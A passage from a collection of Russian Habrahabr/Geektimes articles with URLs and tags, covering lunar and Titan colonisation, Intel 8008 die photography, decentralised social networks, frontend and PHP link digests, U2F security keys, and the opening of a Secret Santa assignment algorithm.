космические аппараты на другие планеты. Ряд ученых уверен, что сначала нужно освоить Луну, а потом уже Марс, причем на красную планету можно будет летать прямо с уже освоенной Луны. Энергия здесь дармовая — солнечные лучи освещают огромную площадь без перерывов. Если основать колонию на Луне, то человек сможет ее изучить очень быстро при помощи автоматических систем разного типа. Водяного льда здесь много, поэтому можно будет получать топливо для ракет (кислород и водород). Пауль Спудис, сторонник возвращения человека на Луну В НАСА даже разработали 16-летнюю программу освоения Луны. Первый полет, по задумке авторов, должен состояться через 12 лет после старта реализации проекта. Затем начинаются регулярные полеты на спутник Земли. Общая стоимость проекта — $87,7 млрд. Через 16 лет, по мнению инициаторов, на Луне будет существовать колония «лунонавтов», которые смогут производить около 300 кубов воды в год. Воду станут использовать для нужд колонии и для производства топлива. Существует и десятилетняя программа колонизации Луны, которая называется Lunar Oasis . Согласно этой программе, оборудование и людей можно доставить на спутник Земли за 30 полетов. Одна пилотируемая ракета, в среднем, может доставить около 14 тонн груза. Если отправлять на Луну беспилотные аппараты, грузоподъемность возрастает до 20 тонн. За десять, согласно плану, на Луну можно отправить около 600 тонн груза. Финальной стадией этой программы является доставка на Луну надувных жилищ на десять человек, которые астронавты и будут использовать. Стены жилого модуля предлагается заполнить водородом, который несложно добывать из лунного реголита. Стоимость этой программы в несколько раз выше, чем цена предыдущей и составляет около $550 млрд. Здания планируется делать либо надувными, либо строить их, используя лунный грунт. Есть и предложение оборудовать жилище для человека в какой-либо полости в лунной поверхности или даже в кратере. Освоением Луны сейчас активнее всех занимаются китайцы, которые не против основать колонию первыми. Понятно, что США постараются не допустить такого варианта развития событий. А может, не стоит на Луну? Понятно, что и у проекта колонизации спутника Земли есть противники. Во-первых, далеко не все ученые уверены в том, что на Луне столько льда, сколько считают некоторые специалисты. Кроме того, здесь крайне неуютно — огромные перепады температур, нет атмосферы, вот это все. «Если даже целые блоки льда располагаются под тонким слоем лунного реголита, как вы собираетесь этот лед добывать? Вряд ли это получится сделать при помощи лопат», — говорит один из противников этой точки зрения. Зато малейшая ошибка, перебой в поставках энергии — и космонавты могут просто замерзнуть, либо же пострадает инфраструктура колонии. Восстановить все это будет очень нелегко. Стоимость же создания фабрики производства ракетного топлива будет очень высокой — это сделать непросто и даже при условии наличия нужных средств создание такого объекта — дело не одного года. Плюс ко всему, здоровью лунных колонистов будет угрожать очень мелкая лунная пыль. Мелкие частицы этой пыли очень опасны, поскольку их размер составляет всего несколько десятков нанометров. Пыль такого размера может попадать сразу в кровоток. Пыль более крупных фракций будет оседать в легких. И если космонавт будет жить на Луне достаточно долго, ему может грозить силикоз (как у шахтеров) или что-то подобное. Может, махнем куда-то еще? Да, вполне разумный вариант. Сотрудник НАСА планетолог Аманда Хендрикс (Amanda R. Hendrix) и ее коллеги считают , что практически идеальным местом, где человек будет жить на поверхности, может стать Титан. Несмотря на то, что условия здесь не слишком подходят для человека, Титан богат углеводородами и прочими элементами, которые обеспечат колонистов всем необходимым. Плюс ко всему, на Титане — естественная защита от радиации, чего нет ни на Луне, ни на Марсе. Углеводороды здесь повсюду, вся поверхность спутника Сатурна укрыта ими, так что добывать его не нужно. И здесь тоже есть водяной лед в огромных количествах. Конечно, и здесь не обойтись без проблем. Добираться до Титана еще дольше, чем до Марса. Весь путь займет около семи лет. Так что реализация идеи создания колонии на Титане — дело отдаленного будущего. Как бы там ни было, большинство ученых сходятся в том, что человек рано или поздно создаст форпост цивилизации на одной из планет или планетоидов Солнечной системы. Так что вопрос, скорее всего не в том, будет ли у человека база где-то еще, кроме Земли, а в том, когда это станет реальностью.
https://geektimes.ru/post/284050/
habrahabr
Фотографии кристалла процессора Intel 8008, который дал жизнь первым ПК
['Intel 8008', 'процессор', 'микросхема', 'ALU', 'Sac State 8008', 'первый персональный компьютер']
Фотография кристалла микропроцессора Intel 8008 под микроскопом (см. фотографию большего разрешения 3565×2549) Энтузиаст микропроцессоров и зарядных устройств Кен Ширрифф (Ken Shirriff) хорошо...
Фотография кристалла микропроцессора Intel 8008 под микроскопом (см. фотографию большего разрешения 3565×2549 ) Энтузиаст микропроцессоров и зарядных устройств Кен Ширрифф (Ken Shirriff) хорошо известен в сообществе электролюбителей. Он раньше публиковал обстоятельные хорошо иллюстрированные репортажи с разбором крохотного зарядного устройства для iPhone , десятка других зарядных устройств , среди которых великолепное изделие Apple даже не самое лучшее. В 2013 году он провёл реверс-инжиниринг ALU в процессоре Z80 по его фотографиям (это процессор из Osborne 1, TRS-80 и Sinclair ZX Spectrum). Сейчас Шеррифф обратил внимание на исторический процессор Intel 8008 — первый 8-битный центральный процессор, выпущенный фирмой Intel 1 апреля 1972 года, то есть почти 45 лет назад, по цене $120. Микросхема Intel 8008 позиционировалась для продвинутых калькуляторов, но в итоге нашла своё место в первых персональных компьютерах. Как говорит Википедия, в первое время Intel опасалась, что процессор не заинтересует клиентов, но эти опасения оказались безосновательными. Процессор ждал большой успех. После него фирма выпустила Intel 8080, а затем исключительно успешное семейство Intel x86. Микросхема Intel 8008 На базе Intel 8008 клиенты начали собирать не только калькуляторы, но и миникомпьютеры. На этом процессоре работали одни из первых коммерческих персональных компьютеров, в том числе американский SCELBI, французский Micral N и канадский MCM/70. Возможно, первым настоящим микрокомпьютером с дисковой операционной системой и встроенным в PROM языком программирования IBM Basic Assembly Language (BAL) на базе Intel 8008 стал Sac State 8008 , спроектированный в 1972-1973 годы. Собранный, вероятно, в единственном экземпляре, этот мини-компьютер оснащался цветным дисплеем, жёстким диском, клавиатурой, модемом, считывателем ленты и принтером, а разработчики оказали неоценимую помощь Intel в составлении набора инструкций для будущего Intel 8080. Уже в 1973 году Sac State 8008 превосходил по функциональности Altair 8800 от 1975 года, который дал вдохновение и идею для бизнеса Стиву Джобсу, Стиву Возняку и многим другим энтузиастам по всему миру. Художественный 3D-рендер Sac State 8008 Судя по историческим свидетельствам, именно Sac State 8008 можно назвать первым в мире настоящим персональным компьютером. Кен Ширрифф опубликовал подробный анализ с большим количеством фотографий, как выглядел легендарный процессор 8008. Энтузиаст самостоятельно вскрыл корпус и сделал фотографии кристалла под микроскопом, на которых можно разглядеть даже контакты и транзисторы на кристалле. Ниже один из участков микросхемы увеличен. По периметру микросхемы видно 18 контактных площадок, которые соединяются тонкими проводками с внешними контактными штырями (ножками микросхемы). Фотосъёмка всего кристалла заняла 48 кадров. Кен Ширрифф использовал металлографический микроскоп с яркой подсветкой. Затем специалист склеил 48 кадров с помощью программного обеспечения Hugin. Чтобы получить красивое фото высокого разрешения, он ещё подкрутил контраст. Для сравнения, вот как выглядит оригинальная фотография, которая примерно соответствует тому, что вы реально видите в оптический микроскоп. Фотография кристалла микропроцессора Intel 8008 под микроскопом (см. фотографию большего разрешения 4730×3382 ) Из документации процессора можно узнать, где именно на кристалле располагаются конкретные функциональные области. Все они подписаны на следующем изображении. Слева располагается арифметико-логическое устройство (ALU), в котором происходили вычисления. ALU использовал два временных регистра для хранения входящих данных. Эти регистры занимали значительную площадь на кристалле. Не потому что они сложные, а потому что нужны большие транзисторы для передачи сигнала через цепь ALU. Треугольный дизайн ALU тоже выглядит необычно. В большинстве процессоров цепи компонуются по прямоугольным блокам для каждого бита. Однако в 8008 восемь блоков (по одному для каждого бита) распределены по треугольной площади беспорядочным образом, чтобы уместиться в площадь, которую для них оставил треугольный генератор ускоренного переноса (carry generator). Физическая структура чипа неплохо совпадает с блок-схемой из руководства пользователя Intel 8008 . Блоки на чипе находятся почти в тех же местах, что и на схеме. Инженер обращает внимание, что у специалистов нет объяснения, почему Intel использовала явно недостаточное количество 18 ножек для такой микросхемы (14 разрядов адреса и 8 разрядов данных), ведь из-за такой нестандартной архитектуры шины приходилось использовать много дополнительной электроники с этим процессором. Он говорит, что 16 контактов были буквально «религией в Intel», но конструкторам за счёт хитрых манипуляций с архитектурой шины удалось уменьшить количество ножек только до 18-ти.
https://geektimes.ru/post/284054/
habrahabr
Нужны ли социальные сети?
['социальные сети', 'децентрализация', 'репутация', 'p2p']
Прежде чем начать разговор о социальных сетях, необходимо дать определение социальной сети, а значит описать то, без чего социальная сеть не будет таковой. Социальная сеть это люди (объективная...
Прежде чем начать разговор о социальных сетях, необходимо дать определение социальной сети, а значит описать то, без чего социальная сеть не будет таковой. Социальная сеть это люди (объективная информация о человеке, его профиль) и связи между ними (тип отношений и субъективное мнение/знание индивидов друг о друге). Всё остальное можно отбросить — вполне можно представить социальную сеть без обмена музыкой и видео, даже без блог-платформы, без игр и приложений, без обмена сообщениями и прочего (ходят слухи про какие-то стикеры, уверен — они тоже не обязательны). Далее необходимо вспомнить историю социальных сетей, вернуться к истокам. Начать необходимо со времён когда представители вида homo sapiens жили малыми группами (до 150-200 особей) на значительном удалении друг от друга. В связи с экстремальным дефицитом компьютерной техники, для хранения социальной сети приходилось использовать биологический компьютер — свой мозг. Социальная сеть была у каждого своя и как раз состояла из информации о сородичах, мнении о них (отношения с ними) и их отношений друг с другом. В чем были особенности социальных сетей того времени? Во-первых, их размеры были невелики и в основном ограничены размером группы. Во-вторых, их состав изменялся медленно и плавно, смена группы была редким явлением и скорее всего происходила всего один раз в жизни индивида. В этих условиях биологический компьютер неплохо справлялся с задачей хранения социальной сети ( число Данбара как бы намекает). Какие задачи решали социальные сети тех далёких времён? Сеть личных отношений — полезно знать с кем можно поиграть, поговорить, поболтать, заняться сексом, а с кем лучше не общаться. Сеть рабочих отношений — не менее полезно знать кто какими знаниями обладает и что умеет делать. Сеть доверия — нужно знать репутацию человека, честность, надёжность и т.п. Что изменилось с тех пор? А изменилось следующее: человечество стало жить огромными группами; состав как самих групп так и подгрупп внутри них перестал быть стабильным — мобильность стала очень высокой; а значит число социальных контактов значительно возросло; биологических компьютер не только не развивался, на даже усыхал ; зато бурно развились компьютерные технологии. Всё это подводит нас к логичной мысли сохранить свою социальную сеть во внешнем хранилище. Однако, вместо социальных сетей в сетевом хранилище мы получили что-то странное и не всегда удобное. Массовые социальные платформы пытаются выполнять только первую функцию (сеть личных отношений), не буду говорить насколько хорошо, это тема отдельного разговора, но мне кажется не идеально. Для второй функции (сеть рабочих отношений) есть отдельные платформы — приходится распыляться. А вот третья функция (сеть доверия) похоже пока никем не реализована, хотя хранение репутации весьма важная функция социальной сети (зачаток есть на фриланс-биржах и ресурсах с кармой). Правда для такой функции желательно проверять реальность пользователя, но к этому и так активно двигаются, например, требуя номер телефона для покупки которого обычно нужно предъявить документ удостоверяющий личность. При этом существующие социальные платформы выполняют множество иных функций не выполняя основных. И не сложно понять почему это так — задача существующих социальных платформ не расширение нашей памяти, не помощь в решении каких-то задач, а опустошение нашего кошелька. Это коммерческие компании, которые зарабатывают на наших персональных данных, для более таргетированной рекламы им нужно заместить собой все существующие инструменты и сервисы, идеальный мир для них это мир в котором «интернет» для пользователя это их социальная платформа. Проблемы у текущей ситуации следующие: Как выше отмечено — неполнота реализации ключевых функций; Слишком большие возможности социальных платформ по слежке за пользователями — в случае взлома злоумышленники получать много информации о пользователях; Единая точка отказа, как техническая, так и организационная — как ни резервируют они свою инфраструктуру сбои всё равно бывают и это неизбежно , а значит в самый нужный момент всё может поломаться и вы останетесь без своей социальной сети, в чём-то даже более серьёзная проблема в наличии владельцев социальной платформы, которые могут закрыть платформу, продать её саму или клиентские данные, новые владельцы могут что-то радикально поменять, в общем централизация это сплошные риски. Есть ли иное решение это задачи? Нужная социальная сеть должна обладать следующими свойствами: Децентрализованной — не зависеть от центральной инфраструктуры, лучше p2p. Свободной — основанной на свободном программном обеспечении. Защищённой от подделок аккаунтов — ключи шифрования/подписи, блокчейн хранилище данных? Неанонимной — сама суть социальной сети не подразумевает анонимности, если вам нужна анонимность, то вам не нужны социальные сети (не стоит думать что искажённое имя и фотография делают вас анонимным). Для наиболее эффективного использования возможностей социальной сети по поддержке репутации человека необходимо иметь соответствие между профилем в сети и реальным человеком. Для этого ключ человека должен быть подписан ключами нескольких знающих его людей и, в идеале, неким нотариусом от имени государства. Попыток сделать децентрализованную социальную сеть много (одни из самых известных это Friendica и Diaspora , но они вроде не p2p), есть интересный p2p проект Pandora хаброюзера robux , но не знаю как у него дела. В чём проблема децентрализованных проектов? Трудно сказать наверняка, но невозможность зарабатывать создателям, необходимость установки ПО, наплевательское отношение пользователей к приватности и другим проблемам видимо приводят к тому, что весьма интересные p2p проекты застревают. К сожалению у меня нет готового рецепта как сделать крутые и полезные децентрализованные проекты популярными, если я когда-то создам своё государство, то правильная социальная сеть в нём будет важной частью отношений между государством и обществом, механизмом прямой демократии.
https://geektimes.ru/post/283954/
habrahabr
Дайджест свежих материалов из мира фронтенда за последнюю неделю №242 (18 — 25 декабря 2016)
['дайджест', 'фронтенд', 'css', 'js', 'es6', 'vue', 'react', 'angular', 'html5', 'браузеры', 'ссылки']
Предлагаем вашему вниманию подборку с ссылками на полезные ресурсы и интересные материалы из области фронтенда. Веб-разработка CSS Javascript Веб-разработка ...
Предлагаем вашему вниманию подборку с ссылками на полезные ресурсы и интересные материалы из области фронтенда. Веб-разработка CSS Javascript Веб-разработка Подкаст Веб-стандарты, Выпуск №47 : Chromium и Opera, position: sticky, виртуальная реальность, приоритизация JS, быстрый параллакс, инлайновый SVG, краткая запись CSS, контрольные точки, гриды и 20 лет CSS. Разделы документа в HTML 5.1 Обзор средств хранения данных на клиентской стороне Логотип не отвечает или временно недоступен . Юля Бухвалова задается вопросом, как лучше всего верстать логотипы на сайте. Знакомство с впечатляющими возможностями SVG-анимаций: пишем небольшую игру Производительность: Front-End Performance Checklist 2017 (PDF, Apple Pages) Я включил HTTP/2… что дальше? (I’ve turned h2 on… now what?) 10 штук, которые я выучил, создавая самый быстрый сайт в мире Введение в Progressive Web Apps (мгновенная загрузка) — часть 2 Анатомия веб-запроса (The Anatomy of a Web Request) Material Components — модульные и настраиваемые компоненты Material Design UI Учимся по Лего: шаг вперед в модульном веб-дизайне Эффекты появления блоков при различных интерактивностях О специфических API, приносящих функциональность в стиле нативных приложений в мобильные браузеры Топ онлайн курсов для разработчиков фронтенда в 2017-м 27 новых популярных репозиториев в 2016-м для веб-разработчиков (27 popular new github repositories for web developers in 2016) Почему Bower всё ещё уместен Музыкальный проигрыватель (CSS/HTML/JS) Записи докладов с FrontTalks 2016 CSS Как я проект на БЭМ переводил… и перевел Bootstrap 4 прекращает поддержку IE9 и полностью переходит на Flexbox Рабочая группа CSS определяет состав будущего CSS-2017 Запись трансляции pitercss №8 Масштабирование отзывчивой анимации (Scaling Responsive Animations) Синтаксис @font-face никогда не будет пуленепробиваемым, но он и не должен (No @font-face Syntax will ever be Bulletproof, Nor Should It Be) CSS Writing Modes Темная сторона полифилов в CSS (The Dark Side of Polyfilling CSS) Руководство для новичка по созданию изображений на чистом CSS Асинхронная загрузка веб-шрифтов Объемный перекидной счётчик на «чистом» CSS Подборка 68-ти лучших CSS фреймворков Petal — CSS UI framework, основанный на LESS Type CSS Framework JavaScript HolyJS Moscow: Время экспансии Ember — Лучшие практики: избегайте утечки состояния внутрь фабрики Как я писал приложение на Elm 19 неожиданных находок в документации Node.js JavaScript простой! Кто сказал? JavaScript: обзор 2016-го V8: за кулисами (December Edition) Правда о традиционных бенчмарках в JavaScript Мы нуждаемся в лучшем способе продвижения JavaScript проектов! ES6 Symbols и примеры их использования (ES6 Symbols and their Use Cases) Является async/await шагом назад в JavaScript? (Is async/await a step back to JavaScript?) Фреймворки: React или Vue: какую из Javascript UI библиотек вы должны использовать? Первые впечатления от Vue.js 2.0 «Aгa» моменты в React 30 Days of React Эксперименты с рендерами в Angular JavaScript Frameworks Are Great Плагины: HoloJS — фреймворк от Microsoft для создания голографических приложений с помощью JavaScript и WebGL fuse-box — сверхбыстрый bundler/loader с полноценным API angular.piechart — компонент Angular 1.5 для рисования радиальных диаграмм Switzerland добавляет функциональный подход к Веб Компонентам добавляя middleware к компонентам RxDB — реактивная Offline-first база данных, основанная на Javascript Просим прощения за возможные опечатки или неработающие/дублирующиеся ссылки. Если вы заметили проблему — напишите пожалуйста в личку, мы стараемся оперативно их исправлять. ← Дайджест за прошлую неделю » Материал подготовили dersmoll и alekskorovin
https://habrahabr.ru/company/zfort/blog/318404/
habrahabr
Google: Security Keys — лучший метод обезопасить свой аккаунт
['google', 'смарт-ключи', 'Security Keys', 'информационная безопасность']
Мы в KingServers стараемся отслеживать последние тенденции в различных технологических сферах. Одна из них, которая интересует нас больше всего — это безопасность. Если нет достаточного уровня...
Мы в KingServers стараемся отслеживать последние тенденции в различных технологических сферах. Одна из них, которая интересует нас больше всего — это безопасность. Если нет достаточного уровня безопасности, то все технические ухищрения по хранению и передаче данных можно считать напрасными (ну, почти) — все равно данные может украсть кто угодно. Оказывается, защитить личные данные можно с достаточно высокой степенью надежности. Речь идет о Security Keys, небольших устройствах, которые мешают злоумышленнику добраться к информации пользователя. И сейчас результаты работы большого количества сотрудников Google подтверждают сказанное. Как оказалось, более 50 тысяч сотрудников корпорации Google в течение двух лет принимали участие в исследовании, посвященному информационной безопасности. И вывод здесь категоричен: Security Keys дадут фору смартфонам и любым другим формам двухфакторой аутентификации. Основа Security Keys — Universal Second Factor , открытый стандарт, который легко использовать пользователю любого уровня — от начинающего до работников ИТ-сферы. Security Keys позволяют без проблем получить личную информацию без угрозы быть взломанным. Киберпреступники, возможно, умеют как-то бороться с Security Keys, но сотрудники корпорации Google так не считают. По их мнению, для стороннего человека взломать такой ключ или использовать в его отношении какие-то другие методы не представляется возможным. Сейчас криптографические ключи такого типа стали внедрять у себя Google, Dropbox, GitHub и другие ресурсы и сервисы. Два года изучения этих миниатюрных систем доказали инженерам Google, что более надежного способа двухфакторной аутентификации просто нет. При подключении в USB порт такой ключ обеспечивает «криптографическое подтверждение личности», которое крайне сложно взломать или подделать. В Google положительно оценивают возможности такой системы. Доказательством того, что сотрудники Google действительно считают защиту с использованием Security Keys эффективной может служить включение поддержки таких систем в ряд продуктов Google. «Мы включили поддержку для Security Keys в браузер Chrome. Мы активировали этот метод защиты во многих наших сервисах. В этой работе мы показываем, что Security Keys увеличивают общий уровень безопасности, а пользователю высокая надежность защиты данных обходится в минимальную сумму и временные затраты», — заявил один из участников исследования. Как известно, другие формы двухфакторной аутентификации подразумевают получение одноразового пароля в виде сообщения на телефон. Один из паролей в этом случае требуется при загрузке чего-либо, включая операционную систему. А второй пароль нужен для входа в собственный аккаунт. Есть еще смарт-карты и сертификаты специфического типа. Использование двухфакторной аутентификации вместе с телефоном — не самый удачный вариант. Например, одноразовые пароли могут быть похищены злоумышленниками. Подвергаются опасности и сами телефоны — ведь сейчас выпущено уже огромное количество разного рода мобильных вирусов. Они могут похищать вводимые пароли, отправляя его хозяину. Кроме того, телефон может внезапно сесть или потерять сеть, и что потом? Сидеть и ждать у моря погоды? Smartcard — тоже относительно проблемный вариант. Дело в том, что они обычно требуют специфического оборудования и установки драйверов на каждом из ПК, где должен работать пользователь. Это делает смарткарты гораздо менее популярным средством, чем они могли бы быть. Кроме того, в некоторых странах их выдает правительство, что может навести на определенные размышления. TLS -сертификаты, которые используют для аутентификации пользователей, известны годами, но особенно популярными они не стали. Дело в том, что их довольно сложно сгенерировать для обычного пользователя, да и содержит такой сертификат больше информации чем хотелось бы. Это может быть, например, имя пользователя и его сетевые «координаты». Кроме того, при работе на каждом новом ПК необходимо устанавливать уникальный сертификат. По мнению представителей Google, Security Keys представляют собой оптимальную комбинацию безопасности, удобства использования и приватности. Стоимость такого ключа составляет около $10, в среднем. Если ключ создается известной компанией, то цена чуть выше — вплоть до $18. Они меньше по размеру, чем дверной ключ, вставляются в обычный USB-порт, в них нет батареек. В целом, сейчас двухфакторная аутентификация становится все более распространенным методом защиты информации. Но она же не слишком удобна, как указывалось выше. Security Keys — один из альтернативных смартфонам и смарткартам вариантов. Вполне может быть, что в будущем именно они и станут основным элементом такой аутентификации. Или нет?
https://habrahabr.ru/company/kingservers/blog/318406/
habrahabr
PHP-Дайджест № 99 – итоги 2016 года и подборка интересных ссылок (11 – 25 декабря 2016)
['дайджест', 'новости', 'подборка', 'ссылки', 'веб-разработка', 'PHP', 'PHP 7', 'PHP 7.1', 'Symfony', 'Yii 2', 'Laravel', 'ZendFramework', 'packagist', 'Phalcon']
По традиции, подведем итоги уходящего года и вспомним самые значимые события в мире PHP, которых, к счастью, было немало. И конечно же, подборка со ссылками на свежие материалы за последние две...
По традиции, подведем итоги уходящего года и вспомним самые значимые события в мире PHP, которых, к счастью, было немало. И конечно же, подборка со ссылками на свежие материалы за последние две недели. С наступающим Новым годом! Приятного чтения. Уходящий год можно по праву назвать годом PHP 7. Несмотря на то что седьмая версия интерпретатора вышла в 2015, именно в этом году крупные компании перешли на PHP 7: Badoo , Tumblr , Dailymotion , WordPress.com , Etsy (сменили HHVM на PHP 7). Некоторые даже называли графики падения нагрузки на серверах после обновления не иначе как «php7 porn». В следующем году для фреймворков Laravel 5.5 и Symfony 4 минимальной версией станет PHP 7. Конец года ознаменовался выпуском новой мажорной версии интерпретатора — PHP 7.1 с массой улучшений . Параллельно шла работа и над следующей версией 7.2 и уже принят ряд RFC . Кроме того Дмитрий Стогов с командой ведут работу над реализацией JIT . В этом году ветка PHP 5.5 получила свой последний релиз 5.5.38 и больше не поддерживается. А ветка 5.6 в следующие два года будет получать только обновления безопасности . Альтернативные реализации PHP также остаются популярными. Известная HHVM получила LTS релиз . Кроме того появились Peachpie — компилятор PHP для .NET, и Tagua VM — виртуальная машина на Rust. Группа PHP-FIG, хоть и переживала некоторый кризис , была реформирована по плану PHP-FIG 3.0 . А также выпустила в свет ряд новых стандартов: PSR-13: Link definition interfaces — принят PSR-11 Container Interface — в ревью PSR-14 Event Manager — черновик PSR-15 HTTP Middlewares — черновик PSR-16: Simple Cache — черновик PSR-17 HTTP Factories — черновик А также в рамках Interoperability инициатив развиваются стандарты по более узким направлениям: Asynchronous Interoperability Container Interoperability Configuration Interoperability Framework Interoperability Event Bus Interoperability Популярный фреймворк в этом году обозначился последним релизом включающим улучшения в ветке 1.1 — Yii 1.1.17 . И целым рядом обновлений актуальной второй версии фреймворка: 2.0.7 , 2.0.8 , 2.0.9 , 2.0.10 . Активно планируется версия 2.1 , и начата работа в соответствующей ветке. К core-команде присоединился @dynasource . Запущен новый yiiframework.ru . Yii получил награду Tagline как лучший backend-фреймворк. Была опубликована книга с рецептами по Yii 2 — Yii 2 Application Development Cookbook . А также в этом году прошли конференция в Киеве и первый Хакатон по Yii . В этом году фреймворку Symfony 2 исполнилось 5 лет . А тем временем свет увидело целых 2 релиза: фреймворка Symfony 3.1.0 и Symfony 3.2.0 . Пакеты Symfony были загружены уже более 500 миллионов раз . Фреймворку исполнилось 5 лет . В середине года вышел релиз Laravel 5.3 . А также доступен план выхода ближайших версий , согласно которому 5.4 выйдет уже в начале следующего года, a 5.5 станет LTS версией и ожидается в июле 2017. В этом году активно развивались платные продукты из экосистемы Laravel: Forge , Spark , Envoyer . Уходящий год ознаменовался долгожданным релизом Zend Framework 3 , работа над которым длилась почти 4 года. Репозиторий фреймворка был переименован из zf2 в zendframework. По фреймворку доступна книга , в том числе на русском. В это же время было объявлено о завершении поддержки Zend Framework 1 . А также свет увидел Zend Expressive — микрофреймворк для создания веб-приложения на основе PSR-7 middleware. Среди других событий уходящего года следует выделить: Composer 1.0.0 — Первый стабильный релиз Composer Phalcon 3.0.0 — LTS релиз популярного PECL-фреймворка Go! AOP Framework 1.0.0 , 2.0.0 Энди Гутманс покинул Zend 15 лет проекту Drupal А что бы вы выделили еще? Пишите в комментариях к посту! Новости и релизы Приватный Packagist — Представлен packagist.com — корпоративное SaaS решение для использования приватных зависимостей взамен Satis и Toran Proxy . Phalcon 3.0.3 PHP RFC: Class-like Primitive Types — Черновик предложения по реализации квазиобъектного поведения для примитивных типов. При этом их внутреннее представление не изменится и расширять их невозможно, но будет доступно использование instanceof , а в будущем — реализация общих предков, например, \Number для float и int . RFC: Server-Side Request and Response Objects — Предлагается включить в ядро анонсированное совсем недавно расширение request , которое добавляет объекты Request и Response взамен суперглобальным массивам. RFC: Debugging PDO Prepared Statement Emulation v2 — Принято предложение по эмуляции подготовленных выражений непосредственно в PHP для удобства отладки. Инструменты pbudzon/dhcp-php — Реализация DHCP-сервера на PHP. Пост и видео демо в поддержку от автора. clue/php-commander — Инструмент для создания простых консольных приложений с лаконичным интерфейсом. PHP API Clients — Организация в рамках которой реализовываются асинхронные клиенты для различных сервисов. naneau/php-obfuscator — Обфускатор для PHP, который парсит код и подменяет имена переменных и т.п. frickelbruder/kickoff — Инструмент проверяет некоторые SEO-параметры сайта и предназначен для использования в CI. mgp25/Instagram-API — Библиотека реализует скрытые в официальном API возможности Instagram. Материалы для обучения Symfony Symfony: миф о раздутом фреймворке Неделя Symfony #520 (12-18 декабря 2016) Неделя Symfony #521 (19-25 декабря 2016) Symfony — комбинируем GridFS файлы с ORM сущностями Yii Разработка на Yii 2: Роутинг и создание URL tuyakhov/yii2-json-api — Реализация спецификации JSON API для Yii 2. Yii2 RESTful API-интерфейс для AngularJS Yii2-advanced: Делаем интернационализацию с источником в Redis Виджет мультиязычности в YII2 без использования базы данных Пример создания практичной Debug панели в Yii Laravel Масштабируем Laravel с помощью AWS Elastic Beanstalk Создание веб-приложения на PHP с иcпользованием Firebird и Laravel Полиморфные связи в Eloquent Пример реализации логин-ссылки без пароля на Laravel Оптимизация производительности PHP благодаря использованию полного обозначения функций — Исследование о том, почему вызов глобальных функций \foo() быстрее чем foo() . Также доступен инструмент roave/functionfqnreplacer , который просканирует исходники и добавит слэш где необходимо. pds/skeleton — Рекомендация по структуре PHP пакета. Предотвратить запуск PHP-скрипта несколько раз одновременно — О реализации блокировки. Наследование vs композиция и принцип открытости/закрытости SOLID Улучшаем тесты: ожидание vs реализация Семантическая подсветка переменных в PhpStorm 2016.3 Оптимизация рекурсивных алгоритмов с помощью trampoline Все, что вы знаете о шифровании с открытым ключом в PHP — неверно Об уязвимостях (в том числе PHP) в мультимедиа модулях самолетов PHP модуль на C++ Как не нужно использовать паттерн Repository Alameda, Bower и NPM интеграция в CleverStyle Framework Масштабирование ClickHouse, управление миграциями и отправка запросов из PHP в кластер Как мы уже 4 года выживаем в условиях двух релизов в день Улучшение производительности PHP 7 Аудио и видеоматериалы PHP подкаст #13 Видеообзор PHP 7.1 PHP Roundtable Podcast #057: Все о компании Zend Abusing PHP 7’s OPcache to Spawn Webshells Занимательное Спроси backend-разработчиков Badoo. Часть 1. Платформа Спасибо за внимание и еще раз с наступающим Новым годом! Пусть он будет для вас лучше чем два предыдущих в сумме! Если вы заметили ошибку или неточность — сообщите, пожалуйста, в личку . Вопросы и предложения пишите на почту или в твиттер . » Прислать ссылку » Быстрый поиск по всем дайджестам ← Предыдущий выпуск: PHP-Дайджест № 98
https://habrahabr.ru/company/zfort/blog/318410/
habrahabr
Алгоритм для секретного назначения дарителей в Secret Santa
['secret santa', 'анонимный дед мороз', 'адм', 'новый год']
Привет, Хабр! В этой статье я приведу простой алгоритм, позволяющий группе из N человек секретно сгенерировать каждому из участников группы номер другого участника — одариваемого — для обмена...
Привет, Хабр! В этой статье я приведу простой алгоритм, позволяющий группе из N человек секретно сгенерировать каждому из участников группы номер другого участника — одариваемого — для обмена подарками на Новый год в мероприятии Тайный Санта (Secret Santa) . Прежде всего, что такое Тайный Санта? Статья в Википедии рассказывает это лучше меня, я лишь кратко скажу, что это церемония, пришедшая к нам с Запада, в которой группа людей сговаривается подарить на Новый год друг другу подарки таким образом, что каждый из участников дарит и получает по одному подарку, при этом каждому не известен его даритель, но известен одариваемый (отсюда "тайный Санта"). Стоимость подарков обычно оговаривается заранее, чтобы все подарки были примерно равноценны. При желании можно условиться, что после того, как обмен подарками совершится, дарители раскроются. Свой "Тайный Санта" есть и на Хабрахабре под названием "Клуб Анонимных Дедов Морозов" . К сожалению, для организации Тайного Санты просто сгенерировать список пар даритель-одариваемый недостаточно. Дарение должно происходить анонимно, и каждый участник должен знать только номер одариваемого и ни битом информации больше о других участниках, поэтому, например, нельзя просто поручить одному из участников сгенерировать список и сообщить каждому оставшемуся участнику его одариваемого — тот, кто сгенерировал список, будет знать всё обо всех, в том числе и своего дарителя. Как правило, участники выходят из положения, прибегая к помощи "третьей стороны" — незаинтересованного человека, не участвующего в церемонии, которого просят сгенерировать номера одариваемых и тайно сообщить каждому участнику единственный номер. Такой "третьей стороной" может быть не только человек, но и специализированный сайт, к числу которых относится и уже упомянутый "Клуб АДМ" Хабрахабра. Если же поставить условие децентрализованности (отсутствия "третьей стороны"), то "Тайный Санта" превращается в интересную с точки зрения криптографии задачу, достаточно хорошо изученную и неоднократно решённую: вот пример математической модели Тайного Санты , а вот конкретный алгоритм решения , где участники для обеспечения скрытия данных используют асимметричное шифрование. В данной статье я опишу ещё один такой алгоритм. Его небольшое преимущество перед прочими методами из области хардкорной криптографии в том, что он очень прост в исполнении: всё, что надо делать участникам, — это записывать наборы натуральных чисел, а также вычёркивать из них отдельные элементы и вписывать новые. Как и остальные децентрализованные алгоритмы для Тайного Санты, этот алгоритм не требует "третьей стороны" — участникам достаточно только общаться между собой. Всё, что требуется каждому участнику, — это дважды получить от участника с предыдущим номером набор натуральных чисел, изменить его определённым образом и передать следующему. После того, как обмен наборами завершится, каждый участник определённым образом формирует из имеющихся у него наборов единственное натуральное число — номер одариваемого. Сразу скажу, у такого подхода не очень много преимуществ по сравнению с тем, чтобы просто привлечь "третью сторону", но пара плюсов всё-таки есть: Это просто весело — поиграть на НГ в "Тайного Санту" с криптографией. Хорошо подойдёт компании гиков. Не требуется искать человека со стороны, организовывать его общение с каждым из участников. Не требуется регистрироваться ни на каком сайте, нужны только сами участники и минимум технических средств общения обычным текстом. При физической встрече участников не нужно ничего, кроме ручки и бумаги. Для общения на расстоянии подойдёт что угодно — электронная почта, SMS, IRC... Описание алгоритма Для начала, 